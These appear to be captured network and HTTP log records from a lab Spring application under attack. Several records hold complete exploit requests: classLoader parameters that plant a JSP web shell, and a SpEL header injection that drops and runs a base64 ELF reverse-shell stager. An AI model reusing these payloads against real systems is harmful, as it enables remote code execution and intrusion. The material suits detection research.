{"endtime":"2022-04-05T20:55:11.160599Z","timestamp":"2022-04-05T20:55:11.160599Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["a406faea-cb31-4614-947e-8a195b29e836","a792aafd-649c-4cb6-9893-5ffec3fe16c5"]} {"endtime":"2022-04-05T20:55:11.160572Z","timestamp":"2022-04-05T20:55:11.160572Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":17968} {"endtime":"2022-04-05T20:55:10.766746Z","timestamp":"2022-04-05T20:55:10.756105Z","bytes":1468,"bytes_in":1224,"bytes_out":244,"cs_content_length":0,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"{\"timestamp\":\"2022-04-05T20:55:10.763+00:00\",\"path\":\"/functionRouter\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"\",\"requestId\":\"7be1b459-1\"}","dest_headers":"HTTP/1.1 500 Internal Server Error\r\nContent-Type: application/json\r\nContent-Length: 153\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":9000,"file_size":153,"flow_id":"a406faea-cb31-4614-947e-8a195b29e836","http_comment":"HTTP/1.1 500 Internal Server Error","http_content_length":153,"http_content_type":"application/json","http_method":"POST","http_user_agent":"Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1","mime_type":["application/x-www-form-urlencoded","application/json"],"protocol_stack":"ip:tcp:http","request":"POST /functionRouter HTTP/1.1","site":"54.218.192.0:9000","src_headers":"POST /functionRouter HTTP/1.1\r\nHost: 54.218.192.0:9000\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1\r\nspring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXDa8O0RRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>''/tmp/oiRVR.b64'' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c ''import sys, base64; print base64.standard_b64decode(sys.stdin.read());'') || (which perl >&2 && perl -MMIME::Base64 -ne ''print decode_base64($_)'')) 2> /dev/null > ''/tmp/CYsmF'' < ''/tmp/oiRVR.b64'' ; chmod +x ''/tmp/CYsmF'' ; ''/tmp/CYsmF'' ; rm -f ''/tmp/CYsmF'' ; rm -f ''/tmp/oiRVR.b64'''})\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":33311,"status":500,"time_taken":10942,"transport":"tcp","uri":"/functionRouter","uri_path":"/functionRouter"} {"endtime":"2022-04-05T20:55:10.749758Z","timestamp":"2022-04-05T20:55:10.743063Z","bytes":512,"bytes_in":268,"bytes_out":244,"cs_content_length":0,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"{\"timestamp\":\"2022-04-05T20:55:10.745+00:00\",\"path\":\"/functionRouter\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"\",\"requestId\":\"fd237ba2-1\"}","dest_headers":"HTTP/1.1 500 Internal Server Error\r\nContent-Type: application/json\r\nContent-Length: 153\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":9000,"file_size":153,"flow_id":"a792aafd-649c-4cb6-9893-5ffec3fe16c5","http_comment":"HTTP/1.1 500 Internal Server Error","http_content_length":153,"http_content_type":"application/json","http_method":"POST","http_user_agent":"Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1","mime_type":["application/x-www-form-urlencoded","application/json"],"protocol_stack":"ip:tcp:http","request":"POST /functionRouter HTTP/1.1","site":"54.218.192.0:9000","src_headers":"POST /functionRouter HTTP/1.1\r\nHost: 54.218.192.0:9000\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":45445,"status":500,"time_taken":7026,"transport":"tcp","uri":"/functionRouter","uri_path":"/functionRouter"} {"endtime":"2022-04-05T20:41:23.229981Z","timestamp":"2022-04-05T20:41:23.229981Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":515,"sum(bytes_out)":678,"sum(time_taken)":9638} {"endtime":"2022-04-05T20:40:33.184269Z","timestamp":"2022-04-05T20:40:33.184269Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":1417,"sum(packets_in)":11,"sum(packets_out)":9,"values(flow_id)":["9b2d45f7-4d59-48bd-86c4-4cbdf41f9287","c848fae9-964a-483a-89d7-78760a5bfe60"]} {"endtime":"2022-04-05T20:40:26.196799Z","timestamp":"2022-04-05T20:40:26.192931Z","bytes":649,"bytes_in":310,"bytes_out":339,"cs_content_length":73,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"\n\n\n \n Reznok's Hello World Spring Application\n\n\n Hello World! Exploit me!\n\n","dest_headers":"HTTP/1.1 200 \r\nContent-Type: text/html;charset=UTF-8\r\nContent-Language: en\r\nTransfer-Encoding: chunked\r\nDate: Tue, 05 Apr 2022 20:40:26 GMT\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":8080,"file_size":[73,185],"flow_id":"c848fae9-964a-483a-89d7-78760a5bfe60","form_data":"class.module.classLoader.resources.context.parent.pipeline.first.pattern=","http_comment":"HTTP/1.1 200 ","http_content_type":"text/html;charset=UTF-8","http_method":"POST","http_user_agent":"python-requests/2.25.1","mime_type":["application/x-www-form-urlencoded","text/html"],"protocol_stack":"ip:tcp:http","request":"POST /helloworld/greeting HTTP/1.1","site":"54.218.192.0:8080","src_content":"class.module.classLoader.resources.context.parent.pipeline.first.pattern=","src_headers":"POST /helloworld/greeting HTTP/1.1\r\nHost: 54.218.192.0:8080\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 73\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":48966,"status":200,"time_taken":4151,"transport":"tcp","uri":"/helloworld/greeting","uri_path":"/helloworld/greeting"} {"endtime":"2022-04-05T20:40:25.189239Z","timestamp":"2022-04-05T20:40:25.184055Z","bytes":544,"bytes_in":205,"bytes_out":339,"dest_content":"\n\n\n \n Reznok's Hello World Spring Application\n\n\n Hello World! Exploit me!\n\n","dest_headers":"HTTP/1.1 200 \r\nContent-Type: text/html;charset=UTF-8\r\nContent-Language: en\r\nTransfer-Encoding: chunked\r\nDate: Tue, 05 Apr 2022 20:40:25 GMT\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":8080,"file_size":185,"flow_id":"9b2d45f7-4d59-48bd-86c4-4cbdf41f9287","http_comment":"HTTP/1.1 200 ","http_content_type":"text/html;charset=UTF-8","http_method":"GET","http_user_agent":"python-requests/2.25.1","mime_type":"text/html","protocol_stack":"ip:tcp:http","request":"GET /helloworld/greeting HTTP/1.1","site":"54.218.192.0:8080","src_headers":"GET /helloworld/greeting HTTP/1.1\r\nHost: 54.218.192.0:8080\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nprefix: <%\r\nsuffix: %>//\r\nc: Runtime\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":48964,"status":200,"time_taken":5487,"transport":"tcp","uri":"/helloworld/greeting","uri_path":"/helloworld/greeting"} {"endtime":"2022-04-05T20:40:23.138288Z","timestamp":"2022-04-05T20:40:23.138288Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2188,"sum(packets_in)":12,"sum(packets_out)":10,"values(flow_id)":["174eb266-bef9-46b0-a84c-80a717d03cc8","7c97050e-5a15-4263-ba58-43fada9f33c0"]} {"endtime":"2022-04-05T20:40:23.138205Z","timestamp":"2022-04-05T20:40:23.138205Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1254,"sum(bytes_out)":678,"sum(time_taken)":409499} {"endtime":"2022-04-05T20:40:22.178551Z","timestamp":"2022-04-05T20:40:22.174398Z","bytes":1275,"bytes_in":936,"bytes_out":339,"cs_content_length":698,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"\n\n\n \n Reznok's Hello World Spring Application\n\n\n Hello World! Exploit me!\n\n","dest_headers":"HTTP/1.1 200 \r\nContent-Type: text/html;charset=UTF-8\r\nContent-Language: en\r\nTransfer-Encoding: chunked\r\nDate: Tue, 05 Apr 2022 20:40:22 GMT\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":8080,"file_size":[698,185],"flow_id":"174eb266-bef9-46b0-a84c-80a717d03cc8","form_data":"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=","http_comment":"HTTP/1.1 200 ","http_content_type":"text/html;charset=UTF-8","http_method":"POST","http_user_agent":"python-requests/2.25.1","mime_type":["application/x-www-form-urlencoded","text/html"],"protocol_stack":"ip:tcp:http","request":"POST /helloworld/greeting HTTP/1.1","site":"54.218.192.0:8080","src_content":"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=","src_headers":"POST /helloworld/greeting HTTP/1.1\r\nHost: 54.218.192.0:8080\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 698\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":48962,"status":200,"time_taken":4465,"transport":"tcp","uri":"/helloworld/greeting","uri_path":"/helloworld/greeting"} {"endtime":"2022-04-05T20:40:22.171987Z","timestamp":"2022-04-05T20:40:21.767277Z","bytes":657,"bytes_in":318,"bytes_out":339,"cs_content_length":81,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"\n\n\n \n Reznok's Hello World Spring Application\n\n\n Hello World! Exploit me!\n\n","dest_headers":"HTTP/1.1 200 \r\nContent-Type: text/html;charset=UTF-8\r\nContent-Language: en\r\nTransfer-Encoding: chunked\r\nDate: Tue, 05 Apr 2022 20:40:22 GMT\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":8080,"file_size":[81,185],"flow_id":"7c97050e-5a15-4263-ba58-43fada9f33c0","form_data":"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_","http_comment":"HTTP/1.1 200 ","http_content_type":"text/html;charset=UTF-8","http_method":"POST","http_user_agent":"python-requests/2.25.1","mime_type":["application/x-www-form-urlencoded","text/html"],"protocol_stack":"ip:tcp:http","request":"POST /helloworld/greeting HTTP/1.1","site":"54.218.192.0:8080","src_content":"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_","src_headers":"POST /helloworld/greeting HTTP/1.1\r\nHost: 54.218.192.0:8080\r\nUser-Agent: python-requests/2.25.1\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 81\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":48960,"status":200,"time_taken":405034,"transport":"tcp","uri":"/helloworld/greeting","uri_path":"/helloworld/greeting"} {"endtime":"2022-04-05T20:36:58.186138Z","timestamp":"2022-04-05T20:36:58.186138Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":23313} {"endtime":"2022-04-05T20:36:07.235606Z","timestamp":"2022-04-05T20:36:07.235606Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["390c4020-f216-42f8-a227-47466ab9d539","b84603c9-9c5b-4c82-95ba-4811c41bcacf"]} {"endtime":"2022-04-05T20:36:05.274794Z","timestamp":"2022-04-05T20:36:05.261681Z","bytes":1468,"bytes_in":1224,"bytes_out":244,"cs_content_length":0,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"{\"timestamp\":\"2022-04-05T20:36:05.269+00:00\",\"path\":\"/functionRouter\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"\",\"requestId\":\"4a5e6e10-1\"}","dest_headers":"HTTP/1.1 500 Internal Server Error\r\nContent-Type: application/json\r\nContent-Length: 153\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":9000,"file_size":153,"flow_id":"390c4020-f216-42f8-a227-47466ab9d539","http_comment":"HTTP/1.1 500 Internal Server Error","http_content_length":153,"http_content_type":"application/json","http_method":"POST","http_user_agent":"Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1","mime_type":["application/x-www-form-urlencoded","application/json"],"protocol_stack":"ip:tcp:http","request":"POST /functionRouter HTTP/1.1","site":"54.218.192.0:9000","src_headers":"POST /functionRouter HTTP/1.1\r\nHost: 54.218.192.0:9000\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1\r\nspring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXDa8O0RRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>''/tmp/ymcUX.b64'' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c ''import sys, base64; print base64.standard_b64decode(sys.stdin.read());'') || (which perl >&2 && perl -MMIME::Base64 -ne ''print decode_base64($_)'')) 2> /dev/null > ''/tmp/Dwzyd'' < ''/tmp/ymcUX.b64'' ; chmod +x ''/tmp/Dwzyd'' ; ''/tmp/Dwzyd'' ; rm -f ''/tmp/Dwzyd'' ; rm -f ''/tmp/ymcUX.b64'''})\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":44867,"status":500,"time_taken":13438,"transport":"tcp","uri":"/functionRouter","uri_path":"/functionRouter"} {"endtime":"2022-04-05T20:36:05.255291Z","timestamp":"2022-04-05T20:36:05.245838Z","bytes":512,"bytes_in":268,"bytes_out":244,"cs_content_length":0,"cs_content_type":"application/x-www-form-urlencoded","dest_content":"{\"timestamp\":\"2022-04-05T20:36:05.251+00:00\",\"path\":\"/functionRouter\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"\",\"requestId\":\"a90d81ce-1\"}","dest_headers":"HTTP/1.1 500 Internal Server Error\r\nContent-Type: application/json\r\nContent-Length: 153\r\n\r\n","dest_ip":"10.0.1.20","dest_mac":"02:9E:53:65:4C:5F","dest_port":9000,"file_size":153,"flow_id":"b84603c9-9c5b-4c82-95ba-4811c41bcacf","http_comment":"HTTP/1.1 500 Internal Server Error","http_content_length":153,"http_content_type":"application/json","http_method":"POST","http_user_agent":"Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1","mime_type":["application/x-www-form-urlencoded","application/json"],"protocol_stack":"ip:tcp:http","request":"POST /functionRouter HTTP/1.1","site":"54.218.192.0:9000","src_headers":"POST /functionRouter HTTP/1.1\r\nHost: 54.218.192.0:9000\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n","src_ip":"54.188.59.68","src_mac":"02:A5:92:DA:49:85","src_port":44323,"status":500,"time_taken":9875,"transport":"tcp","uri":"/functionRouter","uri_path":"/functionRouter"} {"endtime":"2022-04-05T20:35:25.208446Z","timestamp":"2022-04-05T20:35:25.208446Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":16680} {"endtime":"2022-04-05T20:34:57.185679Z","timestamp":"2022-04-05T20:34:57.185679Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["0cc5a70c-7702-4686-994b-50421fb45525","eddba25d-1caa-4f97-afb2-6110549b5a35"]} {"endtime":"2022-04-05T20:34:25.031219Z","timestamp":"2022-04-05T20:34:25.031219Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":22583} {"endtime":"2022-04-05T20:33:34.285930Z","timestamp":"2022-04-05T20:33:34.285930Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["854bd58f-b5c0-44e2-a26a-b8cba1210f2a","d9dadd98-451f-43e4-9e90-7784bcca87f7"]} {"endtime":"2022-04-05T20:25:15.023261Z","timestamp":"2022-04-05T20:25:15.023261Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["d58c1c3b-96ef-4a10-80fa-bafd525cc3a6","f740e8da-ccce-4e89-a794-60403cd14776"]} {"endtime":"2022-04-05T20:25:15.023233Z","timestamp":"2022-04-05T20:25:15.023233Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":27740} {"endtime":"2022-04-05T20:10:04.053221Z","timestamp":"2022-04-05T20:10:04.053221Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["1f097743-62ec-4f98-9bc7-34828876d2f7","920a2d67-0805-487a-a090-18e30f16f68f"]} {"endtime":"2022-04-05T20:10:03.052909Z","timestamp":"2022-04-05T20:10:03.052909Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":59521} {"endtime":"2022-04-05T20:06:53.204843Z","timestamp":"2022-04-05T20:06:53.204843Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2108,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["0dcd351f-03ad-4087-9b72-fef4ee2312b2","370bf3c4-46ee-4723-9cd0-189f71b8b41f"]} {"endtime":"2022-04-05T20:06:45.011286Z","timestamp":"2022-04-05T20:06:45.011286Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1492,"sum(bytes_out)":488,"sum(time_taken)":44622} {"endtime":"2022-04-05T19:57:05.040530Z","timestamp":"2022-04-05T19:57:05.040530Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1464,"sum(bytes_out)":488,"sum(time_taken)":127290} {"endtime":"2022-04-05T19:56:18.088459Z","timestamp":"2022-04-05T19:56:18.088459Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2080,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["44c612ad-ada3-4cc4-af81-9c6d5a76c6b8","e4889b6a-5fc5-4bd6-beb3-fa8e63fdfa43"]} {"endtime":"2022-04-05T19:56:05.033263Z","timestamp":"2022-04-05T19:56:05.033263Z","count":1,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":404,"sum(packets_in)":4,"sum(packets_out)":3,"values(flow_id)":["e6e50db4-59e9-48e4-992e-885779224222"]} {"endtime":"2022-04-05T19:56:05.033182Z","timestamp":"2022-04-05T19:56:05.033182Z","count":1,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":132,"sum(bytes_out)":208,"sum(time_taken)":303738} {"endtime":"2022-04-05T19:23:20.239994Z","timestamp":"2022-04-05T19:23:20.239994Z","count":2,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":1464,"sum(bytes_out)":2468,"sum(time_taken)":2576} {"endtime":"2022-04-05T19:23:07.176956Z","timestamp":"2022-04-05T19:23:07.176956Z","count":1,"dest_ip":"10.0.1.21","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":2364,"sum(packets_in)":4,"sum(packets_out)":4,"values(flow_id)":["86f612ee-8600-4462-9bcd-b069214a7190"]} {"endtime":"2022-04-05T19:23:07.176877Z","timestamp":"2022-04-05T19:23:07.176877Z","count":1,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":128,"sum(bytes_out)":2140,"sum(time_taken)":2439} {"endtime":"2022-04-05T19:22:36.150147Z","timestamp":"2022-04-05T19:22:36.150147Z","count":2,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":4060,"sum(packets_in)":8,"sum(packets_out)":6,"values(flow_id)":["2677031f-71e6-46e6-9f32-e92d29c7b939","73df21f6-b117-40d0-9978-f81ec190c1bf"]} {"endtime":"2022-04-05T19:22:20.148452Z","timestamp":"2022-04-05T19:22:20.148452Z","count":1,"dest_ip":"10.0.1.20","src_ip":"54.188.59.68","vxlan_id":0,"sum(bytes)":1552,"sum(packets_in)":4,"sum(packets_out)":3,"values(flow_id)":["4ee7291b-6f6f-45bf-b9a6-f073c8321d72"]} {"endtime":"2022-04-05T19:22:20.148394Z","timestamp":"2022-04-05T19:22:20.148394Z","count":1,"c_ip":"54.188.59.68","vxlan_id":0,"sum(bytes_in)":254,"sum(bytes_out)":1234,"sum(time_taken)":1754}